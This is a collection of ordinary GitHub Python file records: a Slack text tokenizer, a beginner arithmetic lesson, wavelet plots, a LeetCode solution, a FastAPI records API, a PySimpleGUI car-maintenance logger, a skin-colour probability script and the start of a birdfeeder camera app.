+{"seq_id":"11661826578","text":"import os\nimport csv\nimport json\nimport nltk\n\nchannel_files = []\nfor root, dirnames, file_names in os.walk('data'):\n for file_name in file_names:\n if file_name.endswith(('.json')):\n channel_files.append(os.path.join(root, file_name))\n\nprint(channel_files)\n\nchannels = {}\n\n\nfor channel_file in channel_files:\n print(channel_file)\n\n with open(channel_file, 'r') as f:\n channels[channel_file\n .split('/')[1]\n .split('.')[0]] = json.load(f)\n\nmessages = []\nfor channel in channels:\n print(channel)\n for event in channels[channel]:\n try:\n messages.append(event['text'])\n except KeyError: pass\n\n\nprint(len(messages))\nl = len(messages) + 1\n\nwhile True:\n l = len(messages)\n for message in messages:\n if 'has joined the channel' in message \\\n or 'channel purpose' in message \\\n or 'channel topic' in message:\n messages.remove(message)\n\n if len(messages) == l: break\n\nprint(len(messages))\n\ncorpus = ' '.join(messages)\ntokens = nltk.word_tokenize(corpus)\n\nwith open('corpus_tokens.csv', 'w') as f:\n for token in tokens:\n f.write('{}\\n'.format(token))","repo_name":"sleepyfoxen/buzzword-bingo","sub_path":"upc-slack/parse.py","file_name":"parse.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"19916847359","text":"# Entre os operadores, também há o da multiplicação(*). Esse operador tem a função de multiplicar um número pelo outro:\nn1 = int(input('Digite um número: '))\nn2 = int(input('Digite outro número: '))\n\ns = n1 * n2\n\nprint('A multiplicação entre {} e {} resulta em {}'.format(n1, n2, s))\n\n# Caso utilizado ao lado de uma string, esse operador irá escrever ela por uma x quantidade de vezes:\nstring = input('Digite uma string: ')\nm = int(input('Digite a quantidade de vezes que ela aparecerá: '))\n\nr = string * m\n\nprint('A multiplicação entre {} e {} resulta em {}'.format(string, m, r))\n","repo_name":"Gabriel-Avelino/Python-Curso-em-Video","sub_path":"mundo-01/Aulas/Aula-07_Operadores-Aritmeticos/teoria/multiplicacao.py","file_name":"multiplicacao.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"17781953172","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import signal\n\n\n# In[2]:\n\n\nt, dt = np.linspace(0,1,200, retstep=True)\nfs = 1/dt\nw = 6\n\n\n# In[18]:\n\n\ninput_signal = np.cos(2*np.pi*(50+10*t)*t) + np.sin(40*np.pi*t)\nfreq = np.linspace(1, fs/2, 100)\nwidths = w*fs / (2*freq*np.pi)\ncwt_morlet = signal.cwt(input_signal, signal.morlet2, widths, w=w)\ncwt_mexican_hat = signal.cwt(input_signal, signal.ricker, widths)\n\n\n# In[19]:\n\n\nplt.figure(figsize=(20,16), tight_layout=True)\n\nplt.subplot(3,2,1)\nplt.plot(input_signal)\nplt.title('Input Signal')\nplt.axis('off')\n\nplt.subplot(3,2,3)\nplt.plot(abs(signal.morlet2(M=100, s=4, w=2)))\nplt.title('Morlet Wavelet')\nplt.axis('off')\n\nplt.subplot(3,2,4)\nplt.plot(cwt_morlet)\nplt.title('Coefficient plot generated using Morlet Wavelet')\nplt.axis('off')\n\nplt.subplot(3,2,5)\nplt.plot(signal.ricker(points=100, a=4))\nplt.title('Maxican Hat Wavelet')\nplt.axis('off')\n\nplt.subplot(3,2,6)\nplt.plot(cwt_mexican_hat)\nplt.title('Coefficient plot generated using Maxican Hat Wavelet')\nplt.axis('off')\n\nplt.savefig('plt.jpg')\n","repo_name":"rmShoeb/undergraduate-courses","sub_path":"4-1/CSE 4106/lab-06-online/wavelet-transformation.py","file_name":"wavelet-transformation.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"41300130902","text":"def maxProduct(self, nums: List[int]) -> int:\n loMin = loMax = glMax = nums[0]\n \n for i in range(1,len(nums)):\n t = loMin\n loMin = min(loMin*nums[i],nums[i],loMax*nums[i])\n loMax = max(t*nums[i],nums[i],loMax*nums[i])\n glMax = max(loMax,glMax)\n \n return glMax","repo_name":"amanptl/LeetCode","sub_path":"Medium/Maximum Product Subarray.py","file_name":"Maximum Product Subarray.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"30832063093","text":"from fastapi import Response, status, HTTPException, Depends, APIRouter\nfrom typing import List\n\nfrom sqlalchemy.orm import Session\n\nfrom database import get_db\nfrom schemas import Record, RecordPost\nimport oauth2\nimport models\n\n\nrouter = APIRouter( prefix=\"/record\", tags=[\"Records\"])\n\n@router.get(\"\", response_model=List[RecordPost])\ndef get_record(db: Session = Depends(get_db), user_id: int = Depends(oauth2.get_current_user)):\n \"\"\"\n Returns the list of all records \n \"\"\"\n \n record_query = db.query(models.Record)\n\n record = record_query.all()\n\n return record\n\n\n@router.get(\"/{record_id}\", response_model=RecordPost)\ndef get_record(record_id: int, db: Session = Depends(get_db), user_id: int = Depends(oauth2.get_current_user)):\n \"\"\"\n Returns the list of records by id\n \"\"\"\n\n record_query = db.query(models.Record).filter(models.Record.record_id == record_id)\n \n record = record_query.first()\n\n if record == None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"record with id: {record_id} does not exist\")\n \n return record\n\n\n@router.post(\"\", status_code=status.HTTP_201_CREATED, response_model=RecordPost)\ndef post_record(record:Record, db: Session = Depends(get_db), user_id: int = Depends(oauth2.get_current_user)):\n \"\"\"\n To add the record in the database by post request\n \"\"\"\n\n new_record = models.Record(**record.dict())\n\n if record == None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"Invalid Credentials\")\n \n db.add(new_record)\n db.commit()\n db.refresh(new_record)\n\n return new_record\n\n\n@router.put(\"/{id}\", response_model=RecordPost)\ndef update_record(id: int, updated_post: Record, db: Session = Depends(get_db), user_id: int = Depends(oauth2.get_current_user)):\n \"\"\"\n To update the record in the database by id\n \"\"\"\n\n update_query = db.query(models.Record).filter(models.Record.record_id == id)\n\n update = update_query.first()\n\n if update == None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"record with id: {id} does not exist\")\n\n update_query.update(updated_post.dict(), synchronize_session=False)\n\n db.commit()\n\n return update_query.first()\n\n\n@router.delete(\"/{id}\")\ndef delete_post(id: int, db: Session = Depends(get_db), user_id: int = Depends(oauth2.get_current_user)):\n \"\"\"\n To delete the patient in the database by id\n \"\"\"\n\n delete_query = db.query(models.Record).filter(models.Record.record_id == id)\n\n delete = delete_query.first()\n\n if delete == None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"record with id: {id} does not exist\")\n\n delete_query.delete(synchronize_session=False)\n db.commit()\n\n return Response(status_code=status.HTTP_204_NO_CONTENT)","repo_name":"Shallum99/Fastapi-project","sub_path":"heathmanagement-fastapi-master/app/routers/records.py","file_name":"records.py","file_ext":"py","file_size_in_byte":2946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"12220297474","text":"#CS361 Project: Tyler Purcell\r\n#Car log program to keep track of any and all maintenance done for a vehicle!\r\n\r\n\r\nimport PySimpleGUI as sg\r\nfrom datetime import date\r\nimport webbrowser\r\nimport os.path\r\n\r\nsg.theme('Dark Green 2') #Overall theme for GUI\r\n\r\n#Each function has to access the GUI so the layout while not the same, has to be accessed each time\r\n\r\ndef initial_window():\r\n #First window users see when the application runs\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text=\"Hello! Welcome to My Maintenance Record Keeper!\"), sg.Push()],\r\n [sg.Push(), sg.Text(text='Please click the button below to understand how this program works!'), sg.Push()],\r\n [sg.Push(), sg.Button('Understanding the Program!'), sg.Push()],\r\n [sg.Push(), sg.Button('Take me to the logger!'), sg.Push()],\r\n [sg.VPush()]\r\n ]\r\n\r\n window = sg.Window('Car Logger', layout, size=(500, 300))\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'Close Window':\r\n break\r\n print(values)\r\n \r\n if event == 'Understanding the Program!':\r\n understanding_program()\r\n\r\n if event == 'Take me to the logger!':\r\n window.close()\r\n maintenance_logger()\r\n\r\ndef understanding_program():\r\n #Help window function for the car logger\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='Hello! Thank you for utilizing my program!', font='Arial 18'), sg.Push()],\r\n [sg.Push(), sg.Text(text='We will cover a few items that you will encounter!', font='Arial 14'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='The first few items will be buttons!'), sg.Button('Click me to see what I can do!'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text('Bellow are examples of buttons that you might encounter! You can click each one to learn more about them.'), sg.Push()],\r\n [sg.Push(), sg.Button('Create New Car Log'), sg.Button('Add Maintenance'), sg.Button('Access Car Log'), sg.Button('Close Window'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='When you are ready to start logging, click the button below!')],\r\n [sg.Push(), sg.Button('Take me to the logger!')]\r\n ]\r\n\r\n window = sg.Window('Help Window', layout, size=(800,400))\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED:\r\n break\r\n print(values)\r\n \r\n if event == 'Take me to the logger!':\r\n window.close()\r\n maintenance_logger()\r\n\r\n if event == 'Click me to see what I can do!':\r\n button_help()\r\n \r\n if event == 'Create New Car Log':\r\n car_log_help()\r\n\r\n if event == 'Add Maintenance':\r\n maintenance_help()\r\n\r\n if event == 'Access Car Log':\r\n access_car_log()\r\n\r\n if event == 'Close Window':\r\n close_window()\r\n\r\n window.close()\r\n\r\ndef button_help():\r\n #What users see when they navigate to the button help\r\n button_intro = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='Buttons are cool! They will open new windows that increase the possibilites for this program!', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Text(text='If something gets too overwhelming, just click \"Close Window\" or click the red X in the top right corner', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Text(text='If a button closes a window for you, you don\\'t need to worry! That means you no longer need that window!', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Text(text='When you are ready to explore the other features, click the Close Window Button below!', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button('Close Window'), sg.Push()],\r\n [sg.VPush()]\r\n ]\r\n\r\n window = sg.Window('Buttons!', button_intro, size=(800, 400))\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'Close Window':\r\n break\r\n window.close()\r\n\r\ndef car_log_help():\r\n #Initial help window for the car logger\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='Create a car log!', font='Arial 15'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='When creating a new car log you will encounter Input Boxes.', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='These input boxes will look like the following', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Input(), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='The input boxes are where you will Input the data that is asked.', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Text('To do this, simply click in the box and start typing!', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button('Back'), sg.Push()],\r\n [sg.VPush()]\r\n ]\r\n\r\n window = sg.Window('Car Log Help', layout, size=(800, 400))\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'Back':\r\n break\r\n window.close()\r\n\r\ndef maintenance_help():\r\n #How maintenance function of logger works\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='When adding maintenance to a car log, you will encounter the following:', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='You will see input boxes', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Input(), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='You will see buttons', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Button('I am a button!'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='These items will allow you to input information that will be stored.', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Text(text='Buttons will either store the information or cancel it', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button('Back')]\r\n ]\r\n\r\n window = sg.Window('Maintenance help', layout, size=(800,400))\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED:\r\n break\r\n\r\n if event == 'I am a button!':\r\n button_help()\r\n\r\n if event == 'Back':\r\n break\r\n window.close()\r\n \r\n\r\n window.close()\r\n\r\ndef access_car_log():\r\n #How to utilize the access log function\r\n database = open(\"database.txt\", 'r')\r\n car_database = database.read()\r\n car_list = car_database.split('\\n')\r\n\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='When requesting access to a car log, you will see mulitple items.', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='You will have drop down boxes:', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Combo(size=(41), values=car_list), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='You will see buttons', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Button('I am a button!'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='These items will allow you to make a request to the microservice my partner has designed.', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Text(text='The microservice will then send information back, for it to be displayed!', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button('Back')]\r\n ]\r\n\r\n window = sg.Window('Access Help', layout, size=(800,400))\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED:\r\n break\r\n\r\n if event == 'I am a button!':\r\n button_help()\r\n\r\n if event == 'Back':\r\n break\r\n window.close()\r\n\r\ndef close_window():\r\n #How the close window works for the application\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='This is a simple button!', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Button('Close Window'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='If you see this button, it will simply close the window you are in', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='You can test it with the above button!', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n ]\r\n\r\n window = sg.Window('Close Window', layout, size=(800,400))\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'Close Window':\r\n break \r\n window.close()\r\n\r\n\r\ndef maintenance_logger():\r\n #When accessing the logger, initial window for the logger\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='Please choose an item below!', font='Arial 15'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button(\"Edit Car Log\"), sg.Push(), sg.Button('Create New Car Log'), sg.Push(), sg.Button(\"Add Maintenance\"), sg.Push(), sg.Button('Access Car Log'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button('Delete Car Log'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button(\"Understanding the Logger\"), sg.Push()],\r\n [sg.VPush()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button(\"Close Application\", button_color=('black on red'))]\r\n ]\r\n\r\n window = sg.Window(\"CS361 Product\", layout, size=(500, 300))\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WIN_CLOSED or event == 'Close Window':\r\n break\r\n print(event, values)\r\n\r\n if event == 'Understanding the Logger':\r\n window.close()\r\n understanding_program()\r\n\r\n if event == 'Edit Car Log':\r\n edit_car_log()\r\n \r\n if event == 'Create New Car Log':\r\n new_car_log()\r\n\r\n if event == 'Add Maintenance':\r\n add_maintenance()\r\n\r\n if event == 'Delete Car Log':\r\n delete_car_log()\r\n\r\n if event == 'Access Car Log':\r\n access_log()\r\n\r\n if event == 'Close Application':\r\n exit()\r\n\r\n window.close()\r\n\r\ndef new_car_log():\r\n #Function to create a new car log\r\n layout = [\r\n [sg.Text(text='Please enter the year, Make, and Model of the new entry.')],\r\n [sg.Input()],\r\n [sg.Button(\"Create Entry\"), sg.Button(\"Cancel Entry\")]\r\n ]\r\n window = sg.Window('New Vehicle Entry', layout)\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WIN_CLOSED or event == 'Cancel Entry':\r\n break\r\n print(event, values)\r\n\r\n if event == 'Create Entry':\r\n today = str(date.today())\r\n new_car = values[0]\r\n file_name = str(new_car).replace( ' ', '.') \r\n print(file_name)\r\n if os.path.exists(file_name + '.txt') == True:\r\n sg.popup(title='Already Exists', custom_text='This Car Log Already Exists')\r\n if event == \"This Car Log Already Exists\":\r\n window.close()\r\n else:\r\n car_log = open(file_name.lower() + \".txt\", \"x\")\r\n with car_log:\r\n car_log.write((str(new_car)) + \" car log created! Date Created: \" + today)\r\n car_database = open(\"database.txt\", \"a\")\r\n car = str(file_name).replace('.', ' ')\r\n with car_database:\r\n car_database.write((str(car) + '\\n'))\r\n sg.popup(title='New car log created!', custom_text='New Car log created')\r\n if event == \"New Car log created!\":\r\n break\r\n window.close()\r\n \r\n window.close()\r\n\r\ndef edit_car_log():\r\n #Function to edit the car log\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='This feature allows you to edit a car log if you need to.'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='Please note, that you are editing the file itself.'), sg.Push()],\r\n [sg.Push(), sg.Button('Edit a Car Log'), sg.Push(), sg.Button('Close Window'), sg.Push()],\r\n [sg.VPush()]\r\n ]\r\n \r\n\r\n window = sg.Window('Edit Car Log', layout)\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'Close Window':\r\n break\r\n print(event, values)\r\n\r\n if event == \"Edit a Car Log\":\r\n edit_layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='Please enter the log you want to edit'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Input(), sg.Push()],\r\n [sg.Push(), sg.Button('Edit Log'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button('Cancel', button_color='black on red')]\r\n ]\r\n\r\n new_window = sg.Window('Proceed', edit_layout)\r\n while True:\r\n event, values = new_window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'Cancel':\r\n break\r\n if event == 'Edit Log':\r\n find_car = values[0]\r\n find_file = str(find_car).replace(' ', '.')\r\n print(find_file)\r\n if os.path.exists(find_file + '.txt') == False:\r\n sg.popup(title='This Car Log does not exist', custom_text='This Car Log does not exist')\r\n if event == \"This Car Log does not exists\":\r\n break\r\n if event == 'Close Window':\r\n new_window.close()\r\n else:\r\n webbrowser.open(find_file.lower() + '.txt')\r\n new_window.close()\r\n window.close()\r\n\r\n\r\ndef delete_car_log():\r\n #Function to delete a specific car log\r\n\r\n database = open(\"database.txt\", 'r')\r\n car_database = database.read()\r\n car_list = car_database.split('\\n')\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='Here you can select a car log to delete if you need to.', font='Arial 15'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='This will delete the file in its entirety.', font='Arial 20'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text('Please select the Log to delete'), sg.Combo(size=(41), values=car_list), sg.Push()],\r\n [sg.Push(), sg.Button('Delete Car Log'), sg.Push(), sg.Button('Cancel'), sg.Push()],\r\n [sg.VPush()]\r\n ]\r\n \r\n\r\n window = sg.Window('Edit Car Log', layout, size=(800,400))\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'Cancel':\r\n break\r\n print(event, values)\r\n\r\n if event == \"Delete Car Log\":\r\n value = values[0]\r\n delete_helper(value)\r\n sg.popup('Car log deleted')\r\n break\r\n\r\n window.close()\r\n\r\ndef delete_helper(value):\r\n #Helper function that passes in value for deleting the car log file and name from database\r\n\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text('Do you wish to procede to delete the car log?', font='Arial 15'), sg.Push()],\r\n [sg.Push(), sg.Button('Yes I am sure'), sg.Push(), sg.Button('No! Cancel!'), sg.Push()],\r\n [sg.VPush()]\r\n ]\r\n\r\n window = sg.Window('Last Chance', layout, size=(800, 400))\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'No! Cancel!':\r\n break\r\n window.close()\r\n\r\n if event == 'Yes I am sure':\r\n file_delete = value\r\n file_name = str(file_delete).replace(' ', '.')\r\n if os.path.exists(file_name.lower() + '.txt') == False:\r\n sg.popup(title='The car log does not exist', custom_text='The car log does not exist')\r\n if event == 'The car log does not exist':\r\n break\r\n window.close()\r\n else:\r\n os.remove(file_name.lower() + '.txt')\r\n with open('database.txt', 'r') as data:\r\n new_data = data.readlines()\r\n with open('database.txt', 'w') as updated:\r\n for line in new_data:\r\n if line.strip('\\n') != file_delete:\r\n updated.write(line)\r\n break\r\n window.close()\r\n window.close()\r\ndef access_log():\r\n #Function for utilizing partners microservice\r\n\r\n database = open(\"database.txt\", 'r')\r\n car_database = database.read()\r\n car_list = car_database.split('\\n')\r\n\r\n layout = [\r\n [sg.Text(text='Here you can search for an existing car log!')],\r\n [sg.Text(text='To search for a log, simply select the Year, Make, and Model below!')],\r\n [sg.Combo(size=(41), values=car_list)], [sg.Button('Access Car Log')],\r\n [sg.Button('Close Window')]\r\n ]\r\n\r\n window = sg.Window('Access Log', layout)\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WIN_CLOSED or event == 'Close Window':\r\n break\r\n window.close()\r\n\r\n if event == 'Access Car Log':\r\n data_file = open('data_file.txt', 'w')\r\n with data_file:\r\n data_file.write(str(values[0]))\r\n data_file.close()\r\n sg.popup(\"Car Found, gathering information\")\r\n break \r\n window.close()\r\n \r\n\r\ndef add_maintenance():\r\n #Function to add a maintenance event to the car log\r\n\r\n database = open(\"database.txt\", 'r')\r\n car_database = database.read()\r\n car_list = car_database.split('\\n')\r\n\r\n layout = [\r\n [sg.Text(text='Here you can add Maintenance Completed to Cars!')],\r\n [sg.Text(text='Select the Year, Make, and Model here!')], [sg.Combo(size=(41), values=car_list)],\r\n [sg.Text(text='Enter Maintenance Type here!')], [sg.Input()],\r\n [sg.Text(text='Enter Mileage here!')], [sg.Input()],\r\n [sg.Button('Add Item'), sg.Button('Close Window')]\r\n ]\r\n \r\n window = sg.Window('Add Maintenance', layout)\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WIN_CLOSED or event == 'Close Window':\r\n break\r\n window.close()\r\n \r\n if event == 'Add Item':\r\n car_type = values[0]\r\n maintenance_type = values[1]\r\n mileage = values[2]\r\n car_log = str(car_type).replace(' ', '.')\r\n file_name = open(car_log +'.txt', 'a')\r\n with file_name:\r\n file_name.write('\\n')\r\n file_name.write('Completed on: ' + str(date.today()) + '\\n')\r\n file_name.write('Maintenance Type: ' + str(maintenance_type) + '\\n')\r\n file_name.write('Mileage Performed at: ' + str(mileage) + '\\n')\r\n sg.popup(custom_text='Maintenance Record Added!')\r\n break\r\n window.close()\r\n \r\n \r\n\r\n\r\nif __name__ == '__main__':\r\n initial_window()","repo_name":"tmpurcell/CS361","sub_path":"CS361_Product.py","file_name":"CS361_Product.py","file_ext":"py","file_size_in_byte":19574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"32372682585","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Dec 14 18:25:37 2022\r\n\r\n@author: user\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Dec 14 18:25:37 2022\r\n\r\n@author: user\r\n\"\"\"\r\nimport numpy as np\r\nfrom PIL import Image\r\nimport os\r\n\r\ndef absoluteFilePaths(directory):\r\n filePaths = []\r\n for dirpath,_,filenames in os.walk(directory):\r\n for f in filenames:\r\n filePaths.append(os.path.abspath(os.path.join(dirpath, f))) \r\n return filePaths\r\n\r\n\r\n\r\ndef process_images(imagePaths, maskPaths):\r\n global skinPixelNumber, nonskinPixelNumber\r\n for i in range(len(imagePaths)):\r\n im = Image.open(imagePaths[i])\r\n ms = Image.open(maskPaths[i])\r\n im = im.convert('RGB')\r\n ms = ms.convert('RGB')\r\n\r\n width, height = im.size\r\n\r\n for y in range(height):\r\n for x in range(width):\r\n red, green, blue = im.getpixel((x, y))\r\n maskRed, maskGreen, maskBlue = ms.getpixel((x, y))\r\n \r\n if(maskRed>250 and maskGreen>250 and maskBlue>250):\r\n nonskinPixelNumber[red][green][blue] += 1\r\n \r\n else:\r\n skinPixelNumber[red][green][blue] += 1\r\n print('image no: ' + str(i) + ' processed!')\r\n im.close()\r\n ms.close()\r\n \"\"\"\r\n probability = np.zeros((256, 256, 256))\r\n file = open('probability.txt', 'r')\r\n lines = file.readlines()\r\n\r\n for line in lines:\r\n r, g, b, prob = line.split('->')\r\n probability[int(r)][int(g)][int(b)] = float(prob)\r\n\"\"\"\r\ndef calculate_probability(skin, non_skin):\r\n skin_count = np.sum(skin)\r\n non_skin_count = np.sum(non_skin)\r\n skin_probability = skin/ skin_count\r\n non_skin_probability =non_skin / non_skin_count\r\n threshold = np.zeros((256, 256, 256))\r\n\r\n for i in range(256):\r\n for j in range(256):\r\n for k in range(256):\r\n if non_skin_probability[i][j][k] == 0.0 and skin_probability[i][j][k] == 0.0 :\r\n threshold[i][j][k] = 0.0\r\n elif non_skin_probability[i][j][k] == 0.0 and skin_probability[i][j][k] != 0.0 :\r\n threshold[i][j][k] = skin_probability[i][j][k]\r\n else:\r\n threshold[i][j][k] = skin_probability[i][j][k] / non_skin_probability[i][j][k]\r\n #skin_probability = p * np.divide(skin, np.add(skin, non_skin))\r\n\r\n return threshold\r\n\r\ndef probability_file(skin_probability):\r\n out = open('probability.txt', 'w')\r\n hmm = open('value.txt', 'w')\r\n #out.write(\"Red->Green->Blue->Probability\\n\")\r\n\r\n for i in range(256):\r\n for j in range(256):\r\n for k in range(256):\r\n out.write(str(i)+'->'+str(j)+'->'+str(k)+'->'+str(skin_probability[i][j][k])+'\\n')\r\n if skin_probability[i][j][k] > 0.0:\r\n hmm.write(str(i) + '->' + str(j) + '->' + str(k) + '->' + str(skin_probability[i][j][k]) + '\\n')\r\n\r\n out.close()\r\n hmm.close()\r\n\r\nif __name__=='__main__':\r\n imagePaths = absoluteFilePaths(\"./data/image\")\r\n maskPaths = absoluteFilePaths(\"./data/mask\")\r\n\r\n # skinPixelNumber = [[[0 for k in range(256)] for j in range(256)] for i in range(256)]\r\n # nonskinPixelNumber = [[[0 for k in range(256)] for j in range(256)] for i in range(256)]\r\n skinPixelNumber = np.zeros((256, 256, 256), dtype=np.float64)\r\n nonskinPixelNumber = np.zeros((256, 256, 256), dtype=np.float64)\r\n\r\n process_images(imagePaths, maskPaths)\r\n skin_probability = calculate_probability(skinPixelNumber, nonskinPixelNumber)\r\n probability_file(skin_probability)\r\n","repo_name":"nashrah22/OOP-using-Python","sub_path":"gather.py","file_name":"gather.py","file_ext":"py","file_size_in_byte":3491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"20519202960","text":"#\n# This file is part of Vizy \n#\n# All Vizy source code is provided under the terms of the\n# GNU General Public License v2 (http://www.gnu.org/licenses/gpl-2.0.html).\n# Those wishing to use Vizy source code, software and/or\n# technologies under different licensing terms should contact us at\n# support@charmedlabs.com. \n#\n\nimport os\nimport cv2\nimport time\nimport json\nimport datetime\nfrom urllib.request import urlopen\nimport numpy as np\nfrom threading import Thread, RLock\nimport kritter\nfrom kritter import get_color\nfrom kritter.tflite import TFliteClassifier, TFliteDetector\nfrom dash_devices.dependencies import Input, Output\nimport dash_html_components as html\nfrom vizy import Vizy, MediaDisplayQueue\nimport vizy.vizypowerboard as vpb\nfrom handlers import handle_event, handle_text\nfrom kritter.ktextvisor import KtextVisor, KtextVisorTable, Image, Video\n\n# Minimum allowable detection senstivity/treshold\nMIN_THRESHOLD = 0.1\n# Maximum allowable detection senstivity/treshold\nMAX_THRESHOLD = 0.9\n# We start tracking at the current sensitivity setting and stop tracking at the \n# sensitvity - THRESHOLD_HYSTERESIS \nTHRESHOLD_HYSTERESIS = 0.2\n# Native camera mode\nCAMERA_MODE = \"1920x1080x10bpp\"\nCAMERA_WIDTH = 1920\n# Streaming and maximum rendering resolution\nSTREAM_WIDTH = 800\n# Time in seconds to buffer defense videos \nPRE_POST_ROLL = 1 \n# Image average for daytime detection (based on 0 to 255 range)\nDAYTIME_THRESHOLD = 20\n# Poll period (seconds) for checking for daytime\nDAYTIME_POLL_PERIOD = 10\n\nCONFIG_FILE = \"birdfeeder.json\"\nCONSTS_FILE = \"birdfeeder_consts.py\"\nNON_BIRD = \"Non-bird\"\n\nDEFAULT_CONFIG = {\n \"brightness\": 50,\n \"detection_sensitivity\": 75,\n \"species_of_interest\": None, # This will be filled in with all species\n \"pest_species\": [NON_BIRD],\n 